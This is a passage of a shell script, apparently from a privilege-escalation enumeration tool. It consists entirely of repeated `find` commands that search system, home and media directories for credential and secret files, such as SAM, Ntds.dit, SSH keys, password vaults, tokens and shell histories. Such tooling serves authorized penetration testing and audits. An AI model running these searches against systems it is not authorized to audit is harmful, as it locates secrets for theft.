\"RDCMan.settings\" -o -name \"software.sav\" -o -name \"kadm5.acl\" -o -name \"credentials\" -o -name \"wcx_ftp.ini\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.pem\" -o -name \"sysprep.xml\" -o -name \".bashrc\" -o -name \"*.key\" -o -name \"*.ovpn\" -o -name \"authorized_keys\" -o -name \"sites.ini\" -o -name \"docker.socket\" -o -name \"bash.exe\" -o -name \"NetSetup.log\" -o -name \"cloud.cfg\" -o -name \"mosquitto.conf\" -o -name \"KeePass.ini\" -o -name \"ftp.ini\" -o -name \".plan\" -o -name \"wsl.exe\" -o -name \"accessTokens.json\" -o -name \"appcmd.exe\" -o -name \"ftp.config\" -o -name \"printers.xml\" -o -name \"pgsql.conf\" -o -name \"autologin.conf\" -o -name \".htpasswd\" -o -name \"*.viminfo\" -o -name \"settings.php\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \"SecEvent.Evt\" -o -name \"sysprep.inf\" -o -name \".k5login\" -o -name \"*.ftpconfig\" -o -name \"pg_hba.conf\" -o -name \"krb5.keytab\" -o -name \"AzureRMContext.json\" -o -name \"https-xampp.conf\" -o -name \"hosts.equiv\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"services.xml\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".git-credentials\" -o -name \"*config*.php\" -o -name \"*.p12\" -o -name \".recently-used.xbel\" -o -name \".erlang.cookie\" -o -name \"authorized_hosts\" -o -name \"pgadmin*.db\" -o -name \"error.log\" -o -name \"ntuser.dat\" -o -name \"cesi.conf\" -o -name \"gitlab.yml\" -o -name \"supervisord.conf\" -o -name \"*.der\" -o -name \"redis.conf\" -o -name \"access.log\" -o -name \"snmpd.conf\" -o -name \"backup\" -o -name \"ddclient.conf\" -o -name \"docker-compose.yml\" -o -name \"scheduledtasks.xml\" -o -name \"winscp.ini\" -o -name \"*.pfx\" -o -name \"kibana.y*ml\" -o -name \"hostapd.conf\" -o -name \".google_authenticator\" -o -name \"index.dat\" -o -name \"creds*\" -o -name \"*password*\" -o -name \".env\" -o -name \".profile\" -o -name \".vault-token\" -o -name \".ldaprc\" -o -name \"groups.xml\" -o -name \"legacy_credentials.db\" -o -name \"*.crt\" -o -name \"drives.xml\" -o -name \"httpd.conf\" -o -name \".github\" -o -name \"KeePass.enforced*\" -o -name \"*.csr\" -o -name \"known_hosts\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \"ipsec.conf\" -o -name \"ffftp.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_CACHE=`eval_bckgrd "find /.cache -name \"unattended.xml\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"SAM\" -o -name \"passwd\" -o -name \"docker.sock\" -o -name \"security\" -o -name \"*.sqlite\" -o -name \"gvm-tools.conf\" -o -name \"*vnc*.txt\" -o -name \"unattend.inf\" -o -name \"security.sav\" -o -name \"*.kdbx\" -o -name \"config.php\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"*.cer\" -o -name \".git\" -o -name \"anaconda-ks.cfg\" -o -name \"sitemanager.xml\" -o -name \"*.gpg\" -o -name \"access_tokens.json\" -o -name \"*.db\" -o -name \"id_rsa*\" -o -name \"*.keystore\" -o -name \"postgresql.conf\" -o -name \"id_dsa*\" -o -name \"*.gnupg\" -o -name \"db.php\" -o -name \"tomcat-users.xml\" -o -name \"*.pgp\" -o -name \"access_tokens.db\" -o -name \"pagefile.sys\" -o -name \"credentials.db\" -o -name \"rsyncd.conf\" -o -name \"fastcgi_params\" -o -name \"https.conf\" -o -name \"*.sqlite3\" -o -name \"wp-config.php\" -o -name \"default.sav\" -o -name \"*.jks\" -o -name \".rhosts\" -o -name \"*vnc*.c*nf*\" -o -name \"*.rdg\" -o -name \"datasources.xml\" -o -name \"backups\" -o -name \"Dockerfile\" -o -name \"krb5.conf\" -o -name \"000-default\" -o -name \"filezilla.xml\" -o -name \"setupinfo\" -o -name \"*vnc*.ini\" -o -name \"web*.config\" -o -name \".lesshst\" -o -name \".sudo_as_admin_successful\" -o -name \"Ntds.dit\" -o -name \"mongod*.conf\" -o -name \"*.timer\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*vnc*.xml\" -o -name \".*_history\" -o -name \".pypirc\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"unattend.txt\" -o -name \"php.ini\" -o -name \".gitconfig\" -o -name \"autologin\" -o -name \"ws_ftp.ini\" -o -name \"recentservers.xml\" -o -name \"*.socket\" -o -name \"scclient.exe\" -o -name \"TokenCache.dat\" -o -name \"storage.php\" -o -name \"*credential*\" -o -name \"AppEvent.Evt\" -o -name \".msmtprc\" -o -name \"iis6.log\" -o -name \"secrets.yml\" -o -name \"system.sav\" -o -name \"software\" -o -name \"unattend.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"rsyncd.secrets\" -o -name \"RDCMan.settings\" -o -name \"software.sav\" -o -name \"kadm5.acl\" -o -name \"credentials\" -o -name \"wcx_ftp.ini\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.pem\" -o -name \"sysprep.xml\" -o -name \".bashrc\" -o -name \"*.key\" -o -name \"*.ovpn\" -o -name \"authorized_keys\" -o -name \"sites.ini\" -o -name \"docker.socket\" -o -name \"bash.exe\" -o -name \"NetSetup.log\" -o -name \"cloud.cfg\" -o -name \"mosquitto.conf\" -o -name \"KeePass.ini\" -o -name \"ftp.ini\" -o -name \".plan\" -o -name \"wsl.exe\" -o -name \"accessTokens.json\" -o -name \"appcmd.exe\" -o -name \"ftp.config\" -o -name \"printers.xml\" -o -name \"pgsql.conf\" -o -name \"autologin.conf\" -o -name \".htpasswd\" -o -name \"*.viminfo\" -o -name \"settings.php\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \"SecEvent.Evt\" -o -name \"sysprep.inf\" -o -name \".k5login\" -o -name \"*.ftpconfig\" -o -name \"pg_hba.conf\" -o -name \"krb5.keytab\" -o -name \"AzureRMContext.json\" -o -name \"https-xampp.conf\" -o -name \"hosts.equiv\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"services.xml\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".git-credentials\" -o -name \"*config*.php\" -o -name \"*.p12\" -o -name \".recently-used.xbel\" -o -name \".erlang.cookie\" -o -name \"authorized_hosts\" -o -name \"pgadmin*.db\" -o -name \"error.log\" -o -name \"ntuser.dat\" -o -name \"cesi.conf\" -o -name \"gitlab.yml\" -o -name \"supervisord.conf\" -o -name \"*.der\" -o -name \"redis.conf\" -o -name \"access.log\" -o -name \"snmpd.conf\" -o -name \"backup\" -o -name \"ddclient.conf\" -o -name \"docker-compose.yml\" -o -name \"scheduledtasks.xml\" -o -name \"winscp.ini\" -o -name \"*.pfx\" -o -name \"kibana.y*ml\" -o -name \"hostapd.conf\" -o -name \".google_authenticator\" -o -name \"index.dat\" -o -name \"creds*\" -o -name \"*password*\" -o -name \".env\" -o -name \".profile\" -o -name \".vault-token\" -o -name \".ldaprc\" -o -name \"groups.xml\" -o -name \"legacy_credentials.db\" -o -name \"*.crt\" -o -name \"drives.xml\" -o -name \"httpd.conf\" -o -name \".github\" -o -name \"KeePass.enforced*\" -o -name \"*.csr\" -o -name \"known_hosts\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \"ipsec.conf\" -o -name \"ffftp.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_CDROM=`eval_bckgrd "find /cdrom -name \"unattended.xml\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"SAM\" -o -name \"passwd\" -o -name \"docker.sock\" -o -name \"security\" -o -name \"*.sqlite\" -o -name \"gvm-tools.conf\" -o -name \"*vnc*.txt\" -o -name \"unattend.inf\" -o -name \"security.sav\" -o -name \"*.kdbx\" -o -name \"config.php\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"*.cer\" -o -name \".git\" -o -name \"anaconda-ks.cfg\" -o -name \"sitemanager.xml\" -o -name \"*.gpg\" -o -name \"access_tokens.json\" -o -name \"*.db\" -o -name \"id_rsa*\" -o -name \"*.keystore\" -o -name \"postgresql.conf\" -o -name \"id_dsa*\" -o -name \"*.gnupg\" -o -name \"db.php\" -o -name \"tomcat-users.xml\" -o -name \"*.pgp\" -o -name \"access_tokens.db\" -o -name \"pagefile.sys\" -o -name \"credentials.db\" -o -name \"rsyncd.conf\" -o -name \"fastcgi_params\" -o -name \"https.conf\" -o -name \"*.sqlite3\" -o -name \"wp-config.php\" -o -name \"default.sav\" -o -name \"*.jks\" -o -name \".rhosts\" -o -name \"*vnc*.c*nf*\" -o -name \"*.rdg\" -o -name \"datasources.xml\" -o -name \"backups\" -o -name \"Dockerfile\" -o -name \"krb5.conf\" -o -name \"000-default\" -o -name \"filezilla.xml\" -o -name \"setupinfo\" -o -name \"*vnc*.ini\" -o -name \"web*.config\" -o -name \".lesshst\" -o -name \".sudo_as_admin_successful\" -o -name \"Ntds.dit\" -o -name \"mongod*.conf\" -o -name \"*.timer\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*vnc*.xml\" -o -name \".*_history\" -o -name \".pypirc\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"unattend.txt\" -o -name \"php.ini\" -o -name \".gitconfig\" -o -name \"autologin\" -o -name \"ws_ftp.ini\" -o -name \"recentservers.xml\" -o -name \"*.socket\" -o -name \"scclient.exe\" -o -name \"TokenCache.dat\" -o -name \"storage.php\" -o -name \"*credential*\" -o -name \"AppEvent.Evt\" -o -name \".msmtprc\" -o -name \"iis6.log\" -o -name \"secrets.yml\" -o -name \"system.sav\" -o -name \"software\" -o -name \"unattend.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"rsyncd.secrets\" -o -name \"RDCMan.settings\" -o -name \"software.sav\" -o -name \"kadm5.acl\" -o -name \"credentials\" -o -name \"wcx_ftp.ini\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.pem\" -o -name \"sysprep.xml\" -o -name \".bashrc\" -o -name \"*.key\" -o -name \"*.ovpn\" -o -name \"authorized_keys\" -o -name \"sites.ini\" -o -name \"docker.socket\" -o -name \"bash.exe\" -o -name \"NetSetup.log\" -o -name \"cloud.cfg\" -o -name \"mosquitto.conf\" -o -name \"KeePass.ini\" -o -name \"ftp.ini\" -o -name \".plan\" -o -name \"wsl.exe\" -o -name \"accessTokens.json\" -o -name \"appcmd.exe\" -o -name \"ftp.config\" -o -name \"printers.xml\" -o -name \"pgsql.conf\" -o -name \"autologin.conf\" -o -name \".htpasswd\" -o -name \"*.viminfo\" -o -name \"settings.php\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \"SecEvent.Evt\" -o -name \"sysprep.inf\" -o -name \".k5login\" -o -name \"*.ftpconfig\" -o -name \"pg_hba.conf\" -o -name \"krb5.keytab\" -o -name \"AzureRMContext.json\" -o -name \"https-xampp.conf\" -o -name \"hosts.equiv\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"services.xml\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".git-credentials\" -o -name \"*config*.php\" -o -name \"*.p12\" -o -name \".recently-used.xbel\" -o -name \".erlang.cookie\" -o -name \"authorized_hosts\" -o -name \"pgadmin*.db\" -o -name \"error.log\" -o -name \"ntuser.dat\" -o -name \"cesi.conf\" -o -name \"gitlab.yml\" -o -name \"supervisord.conf\" -o -name \"*.der\" -o -name \"redis.conf\" -o -name \"access.log\" -o -name \"snmpd.conf\" -o -name \"backup\" -o -name \"ddclient.conf\" -o -name \"docker-compose.yml\" -o -name \"scheduledtasks.xml\" -o -name \"winscp.ini\" -o -name \"*.pfx\" -o -name \"kibana.y*ml\" -o -name \"hostapd.conf\" -o -name \".google_authenticator\" -o -name \"index.dat\" -o -name \"creds*\" -o -name \"*password*\" -o -name \".env\" -o -name \".profile\" -o -name \".vault-token\" -o -name \".ldaprc\" -o -name \"groups.xml\" -o -name \"legacy_credentials.db\" -o -name \"*.crt\" -o -name \"drives.xml\" -o -name \"httpd.conf\" -o -name \".github\" -o -name \"KeePass.enforced*\" -o -name \"*.csr\" -o -name \"known_hosts\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \"ipsec.conf\" -o -name \"ffftp.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_ETC=`eval_bckgrd "find /etc -name \"unattended.xml\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"SAM\" -o -name \"passwd\" -o -name \"docker.sock\" -o -name \"security\" -o -name \"*.sqlite\" -o -name \"gvm-tools.conf\" -o -name \"*vnc*.txt\" -o -name \"unattend.inf\" -o -name \"security.sav\" -o -name \"*.kdbx\" -o -name \"config.php\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"*.cer\" -o -name \".git\" -o -name \"anaconda-ks.cfg\" -o -name \"sitemanager.xml\" -o -name \"*.gpg\" -o -name \"access_tokens.json\" -o -name \"*.db\" -o -name \"id_rsa*\" -o -name \"*.keystore\" -o -name \"postgresql.conf\" -o -name \"id_dsa*\" -o -name \"*.gnupg\" -o -name \"db.php\" -o -name \"tomcat-users.xml\" -o -name \"*.pgp\" -o -name \"access_tokens.db\" -o -name \"pagefile.sys\" -o -name \"credentials.db\" -o -name \"rsyncd.conf\" -o -name \"fastcgi_params\" -o -name \"https.conf\" -o -name \"*.sqlite3\" -o -name \"wp-config.php\" -o -name \"default.sav\" -o -name \"*.jks\" -o -name \".rhosts\" -o -name \"*vnc*.c*nf*\" -o -name \"*.rdg\" -o -name \"datasources.xml\" -o -name \"backups\" -o -name \"Dockerfile\" -o -name \"krb5.conf\" -o -name \"000-default\" -o -name \"filezilla.xml\" -o -name \"setupinfo\" -o -name \"*vnc*.ini\" -o -name \"web*.config\" -o -name \".lesshst\" -o -name \".sudo_as_admin_successful\" -o -name \"Ntds.dit\" -o -name \"mongod*.conf\" -o -name \"*.timer\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*vnc*.xml\" -o -name \".*_history\" -o -name \".pypirc\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"unattend.txt\" -o -name \"php.ini\" -o -name \".gitconfig\" -o -name \"autologin\" -o -name \"ws_ftp.ini\" -o -name \"recentservers.xml\" -o -name \"*.socket\" -o -name \"scclient.exe\" -o -name \"TokenCache.dat\" -o -name \"storage.php\" -o -name \"*credential*\" -o -name \"AppEvent.Evt\" -o -name \".msmtprc\" -o -name \"iis6.log\" -o -name \"secrets.yml\" -o -name \"system.sav\" -o -name \"software\" -o -name \"unattend.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"rsyncd.secrets\" -o -name \"RDCMan.settings\" -o -name \"*knockd*\" -o -name \"software.sav\" -o -name \"kadm5.acl\" -o -name \"credentials\" -o -name \"wcx_ftp.ini\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.pem\" -o -name \"sysprep.xml\" -o -name \".bashrc\" -o -name \"*.key\" -o -name \"*.ovpn\" -o -name \"authorized_keys\" -o -name \"sites.ini\" -o -name \"docker.socket\" -o -name \"bash.exe\" -o -name \"NetSetup.log\" -o -name \"cloud.cfg\" -o -name \"mosquitto.conf\" -o -name \"KeePass.ini\" -o -name \"ftp.ini\" -o -name \".plan\" -o -name \"wsl.exe\" -o -name \"accessTokens.json\" -o -name \"appcmd.exe\" -o -name \"ftp.config\" -o -name \"printers.xml\" -o -name \"pgsql.conf\" -o -name \"autologin.conf\" -o -name \".htpasswd\" -o -name \"*.viminfo\" -o -name \"settings.php\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \"SecEvent.Evt\" -o -name \"sysprep.inf\" -o -name \".k5login\" -o -name \"*.ftpconfig\" -o -name \"pg_hba.conf\" -o -name \"krb5.keytab\" -o -name \"AzureRMContext.json\" -o -name \"https-xampp.conf\" -o -name \"hosts.equiv\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"services.xml\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".git-credentials\" -o -name \"*config*.php\" -o -name \"*.p12\" -o -name \".recently-used.xbel\" -o -name \".erlang.cookie\" -o -name \"authorized_hosts\" -o -name \"pgadmin*.db\" -o -name \"error.log\" -o -name \"ntuser.dat\" -o -name \"cesi.conf\" -o -name \"gitlab.yml\" -o -name \"supervisord.conf\" -o -name \"*.der\" -o -name \"redis.conf\" -o -name \"access.log\" -o -name \"snmpd.conf\" -o -name \"backup\" -o -name \"ddclient.conf\" -o -name \"docker-compose.yml\" -o -name \"scheduledtasks.xml\" -o -name \"winscp.ini\" -o -name \"*.pfx\" -o -name \"kibana.y*ml\" -o -name \"hostapd.conf\" -o -name \".google_authenticator\" -o -name \"index.dat\" -o -name \"creds*\" -o -name \"*password*\" -o -name \".env\" -o -name \".profile\" -o -name \".vault-token\" -o -name \".ldaprc\" -o -name \"groups.xml\" -o -name \"legacy_credentials.db\" -o -name \"*.crt\" -o -name \"drives.xml\" -o -name \"httpd.conf\" -o -name \".github\" -o -name \"KeePass.enforced*\" -o -name \"*.csr\" -o -name \"known_hosts\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \"ipsec.conf\" -o -name \"ffftp.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_HOMESEARCH=`eval_bckgrd "find $HOMESEARCH -name \"unattended.xml\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"SAM\" -o -name \"passwd\" -o -name \"docker.sock\" -o -name \"security\" -o -name \"*.sqlite\" -o -name \"gvm-tools.conf\" -o -name \"*vnc*.txt\" -o -name \"unattend.inf\" -o -name \"security.sav\" -o -name \"ssh*config\" -o -name \"config.php\" -o -name \"*.kdbx\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"*.cer\" -o -name \".git\" -o -name \"anaconda-ks.cfg\" -o -name \"sitemanager.xml\" -o -name \"*.gpg\" -o -name \"access_tokens.json\" -o -name \"*.db\" -o -name \"id_rsa*\" -o -name \"*.keystore\" -o -name \"postgresql.conf\" -o -name \"id_dsa*\" -o -name \"*.gnupg\" -o -name \"db.php\" -o -name \"tomcat-users.xml\" -o -name \"*.pgp\" -o -name \"access_tokens.db\" -o -name \"pagefile.sys\" -o -name \"credentials.db\" -o -name \"rsyncd.conf\" -o -name \"google-chrome\" -o -name \"fastcgi_params\" -o -name \"https.conf\" -o -name \"*.sqlite3\" -o -name \"wp-config.php\" -o -name \"default.sav\" -o -name \"*.jks\" -o -name \".rhosts\" -o -name \"*vnc*.c*nf*\" -o -name \"*.rdg\" -o -name \"datasources.xml\" -o -name \"backups\" -o -name \"Dockerfile\" -o -name \"krb5.conf\" -o -name \"000-default\" -o -name \"filezilla.xml\" -o -name \"setupinfo\" -o -name \"*vnc*.ini\" -o -name \"web*.config\" -o -name \".lesshst\" -o -name \".sudo_as_admin_successful\" -o -name \"Ntds.dit\" -o -name \"mongod*.conf\" -o -name \"*.timer\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*vnc*.xml\" -o -name \".*_history\" -o -name \".pypirc\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"unattend.txt\" -o -name \"php.ini\" -o -name \".gitconfig\" -o -name \"autologin\" -o -name \"ws_ftp.ini\" -o -name \"recentservers.xml\" -o -name \"*.socket\" -o -name \"scclient.exe\" -o -name \"TokenCache.dat\" -o -name \"storage.php\" -o -name \"*credential*\" -o -name \"AppEvent.Evt\" -o -name \".msmtprc\" -o -name \"iis6.log\" -o -name \"secrets.yml\" -o -name \"system.sav\" -o -name \"software\" -o -name \"unattend.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"rsyncd.secrets\" -o -name \"RDCMan.settings\" -o -name \"software.sav\" -o -name \"kadm5.acl\" -o -name \"credentials\" -o -name \"wcx_ftp.ini\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.pem\" -o -name \"sysprep.xml\" -o -name \".bashrc\" -o -name \"*.key\" -o -name \"*.ovpn\" -o -name \"authorized_keys\" -o -name \"sites.ini\" -o -name \"docker.socket\" -o -name \"bash.exe\" -o -name \"NetSetup.log\" -o -name \"cloud.cfg\" -o -name \"mosquitto.conf\" -o -name \"KeePass.ini\" -o -name \"ftp.ini\" -o -name \".plan\" -o -name \"wsl.exe\" -o -name \"accessTokens.json\" -o -name \"appcmd.exe\" -o -name \"ftp.config\" -o -name \"printers.xml\" -o -name \"pgsql.conf\" -o -name \"autologin.conf\" -o -name \".htpasswd\" -o -name \"*.viminfo\" -o -name \"settings.php\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \"SecEvent.Evt\" -o -name \"sysprep.inf\" -o -name \".k5login\" -o -name \"*.ftpconfig\" -o -name \"pg_hba.conf\" -o -name \"krb5.keytab\" -o -name \"AzureRMContext.json\" -o -name \"https-xampp.conf\" -o -name \"hosts.equiv\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"services.xml\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".git-credentials\" -o -name \"*config*.php\" -o -name \"*.p12\" -o -name \".recently-used.xbel\" -o -name \".erlang.cookie\" -o -name \"authorized_hosts\" -o -name \"pgadmin*.db\" -o -name \"error.log\" -o -name \"ntuser.dat\" -o -name \"cesi.conf\" -o -name \"gitlab.yml\" -o -name \"supervisord.conf\" -o -name \"*.der\" -o -name \"redis.conf\" -o -name \"access.log\" -o -name \"snmpd.conf\" -o -name \"backup\" -o -name \"ddclient.conf\" -o -name \"docker-compose.yml\" -o -name \"scheduledtasks.xml\" -o -name \"winscp.ini\" -o -name \"*.pfx\" -o -name \"kibana.y*ml\" -o -name \"hostapd.conf\" -o -name \".google_authenticator\" -o -name \"index.dat\" -o -name \"creds*\" -o -name \"*password*\" -o -name \".env\" -o -name \".profile\" -o -name \".vault-token\" -o -name \".ldaprc\" -o -name \"groups.xml\" -o -name \"legacy_credentials.db\" -o -name \"*.crt\" -o -name \"drives.xml\" -o -name \"httpd.conf\" -o -name \".github\" -o -name \"KeePass.enforced*\" -o -name \"*.csr\" -o -name \"known_hosts\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \"ipsec.conf\" -o -name \"ffftp.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_LIB=`eval_bckgrd "find /lib -name \"*.service\" -o -name \"*.socket\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_LIB32=`eval_bckgrd "find /lib32 -name \"*.service\" -o -name \"*.socket\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_LIB64=`eval_bckgrd "find /lib64 -name \"*.service\" -o -name \"*.socket\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_MEDIA=`eval_bckgrd "find /media -name \"unattended.xml\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"SAM\" -o -name \"passwd\" -o -name \"docker.sock\" -o -name \"security\" -o -name \"*.sqlite\" -o -name \"gvm-tools.conf\" -o -name \"*vnc*.txt\" -o -name \"unattend.inf\" -o -name \"security.sav\" -o -name \"*.kdbx\" -o -name \"config.php\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"*.cer\" -o -name \".git\" -o -name \"anaconda-ks.cfg\" -o -name \"sitemanager.xml\" -o -name \"*.gpg\" -o -name \"access_tokens.json\" -o -name \"*.db\" -o -name \"id_rsa*\" -o -name \"*.keystore\" -o -name \"postgresql.conf\" -o -name \"id_dsa*\" -o -name \"*.gnupg\" -o -name \"db.php\" -o -name \"tomcat-users.xml\" -o -name \"*.pgp\" -o -name \"access_tokens.db\" -o -name \"pagefile.sys\" -o -name \"credentials.db\" -o -name \"rsyncd.conf\" -o -name \"fastcgi_params\" -o -name \"https.conf\" -o -name \"*.sqlite3\" -o -name \"wp-config.php\" -o -name \"default.sav\" -o -name \"*.jks\" -o -name \".rhosts\" -o -name \"*vnc*.c*nf*\" -o -name \"*.rdg\" -o -name \"datasources.xml\" -o -name \"backups\" -o -name \"Dockerfile\" -o -name \"krb5.conf\" -o -name \"000-default\" -o -name \"filezilla.xml\" -o -name \"setupinfo\" -o -name \"*vnc*.ini\" -o -name \"web*.config\" -o -name \".lesshst\" -o -name \".sudo_as_admin_successful\" -o -name \"Ntds.dit\" -o -name \"mongod*.conf\" -o -name \"*.timer\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*vnc*.xml\" -o -name \".*_history\" -o -name \".pypirc\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"unattend.txt\" -o -name \"php.ini\" -o -name \".gitconfig\" -o -name \"autologin\" -o -name \"ws_ftp.ini\" -o -name \"recentservers.xml\" -o -name \"*.socket\" -o -name \"scclient.exe\" -o -name \"TokenCache.dat\" -o -name \"storage.php\" -o -name \"*credential*\" -o -name \"AppEvent.Evt\" -o -name \".msmtprc\" -o -name \"iis6.log\" -o -name \"secrets.yml\" -o -name \"system.sav\" -o -name \"software\" -o -name \"unattend.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"rsyncd.secrets\" -o -name \"RDCMan.settings\" -o -name \"software.sav\" -o -name \"kadm5.acl\" -o -name \"credentials\" -o -name \"wcx_ftp.ini\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.pem\" -o -name \"sysprep.xml\" -o -name \".bashrc\" -o -name \"*.key\" -o -name \"*.ovpn\" -o -name \"authorized_keys\" -o -name \"sites.ini\" -o -name \"docker.socket\" -o -name \"bash.exe\" -o -name \"NetSetup.log\" -o -name \"cloud.cfg\" -o -name \"mosquitto.conf\" -o -name \"KeePass.ini\" -o -name \"ftp.ini\" -o -name \".plan\" -o -name \"wsl.exe\" -o -name \"accessTokens.json\" -o -name \"appcmd.exe\" -o -name \"ftp.config\" -o -name \"printers.xml\" -o -name \"pgsql.conf\" -o -name \"autologin.conf\" -o -name \".htpasswd\" -o -name \"*.viminfo\" -o -name \"settings.php\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \"SecEvent.Evt\" -o -name \"sysprep.inf\" -o -name \".k5login\" -o -name \"*.ftpconfig\" -o -name \"pg_hba.conf\" -o -name \"krb5.keytab\" -o -name \"AzureRMContext.json\" -o -name \"https-xampp.conf\" -o -name \"hosts.equiv\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"services.xml\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".git-credentials\" -o -name \"*config*.php\" -o -name \"*.p12\" -o -name \".recently-used.xbel\" -o -name \".erlang.cookie\" -o -name \"authorized_hosts\" -o -name \"pgadmin*.db\" -o -name \"error.log\" -o -name \"ntuser.dat\" -o -name \"cesi.conf\" -o -name \"gitlab.yml\" -o -name \"supervisord.conf\" -o -name \"*.der\" -o -name \"redis.conf\" -o -name \"access.log\" -o -name \"snmpd.conf\" -o -name \"backup\" -o -name \"ddclient.conf\" -o -name \"docker-compose.yml\" -o -name \"scheduledtasks.xml\" -o -name \"winscp.ini\" -o -name \"*.pfx\" -o -name \"kibana.y*ml\" -o -name \"hostapd.conf\" -o -name \".google_authenticator\" -o -name \"index.dat\" -o -name \"creds*\" -o -name \"*password*\" -o -name \".env\" -o -name \".profile\" -o -name \".vault-token\" -o -name \".ldaprc\" -o -name \"groups.xml\" -o -name \"legacy_credentials.db\" -o -name \"*.crt\" -o -name \"drives.xml\" -o -name \"httpd.conf\" -o -name \".github\" -o -name \"KeePass.enforced*\" -o -name \"*.csr\" -o -name \"known_hosts\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \"ipsec.conf\" -o -name \"ffftp.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_MNT=`eval_bckgrd "find /mnt -name \"unattended.xml\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"SAM\" -o -name \"passwd\" -o -name \"docker.sock\" -o -name \"security\" -o -name \"*.sqlite\" -o -name \"gvm-tools.conf\" -o -name \"*vnc*.txt\" -o -name \"unattend.inf\" -o -name \"security.sav\" -o -name \"*.kdbx\" -o -name \"config.php\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"*.cer\" -o -name \".git\" -o -name \"anaconda-ks.cfg\" -o -name \"sitemanager.xml\" -o -name \"*.gpg\" -o -name \"access_tokens.json\" -o -name \"*.db\" -o -name \"id_rsa*\" -o -name \"*.keystore\" -o -name \"postgresql.conf\" -o -name \"id_dsa*\" -o -name \"*.gnupg\" -o -name \"db.php\" -o -name \"tomcat-users.xml\" -o -name \"*.pgp\" -o -name \"access_tokens.db\" -o -name \"pagefile.sys\" -o -name \"credentials.db\" -o -name \"rsyncd.conf\" -o -name \"fastcgi_params\" -o -name \"https.conf\" -o -name \"*.sqlite3\" -o -name \"wp-config.php\" -o -name \"default.sav\" -o -name \"*.jks\" -o -name \".rhosts\" -o -name \"*vnc*.c*nf*\" -o -name \"*.rdg\" -o -name \"datasources.xml\" -o -name \"backups\" -o -name \"Dockerfile\" -o -name \"krb5.conf\" -o -name \"000-default\" -o -name \"filezilla.xml\" -o -name \"setupinfo\" -o -name \"*vnc*.ini\" -o -name \"web*.config\" -o -name \".lesshst\" -o -name \".sudo_as_admin_successful\" -o -name \"Ntds.dit\" -o -name \"mongod*.conf\" -o -name \"*.timer\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*vnc*.xml\" -o -name \".*_history\" -o -name \".pypirc\" -o -name \"my.cnf\" 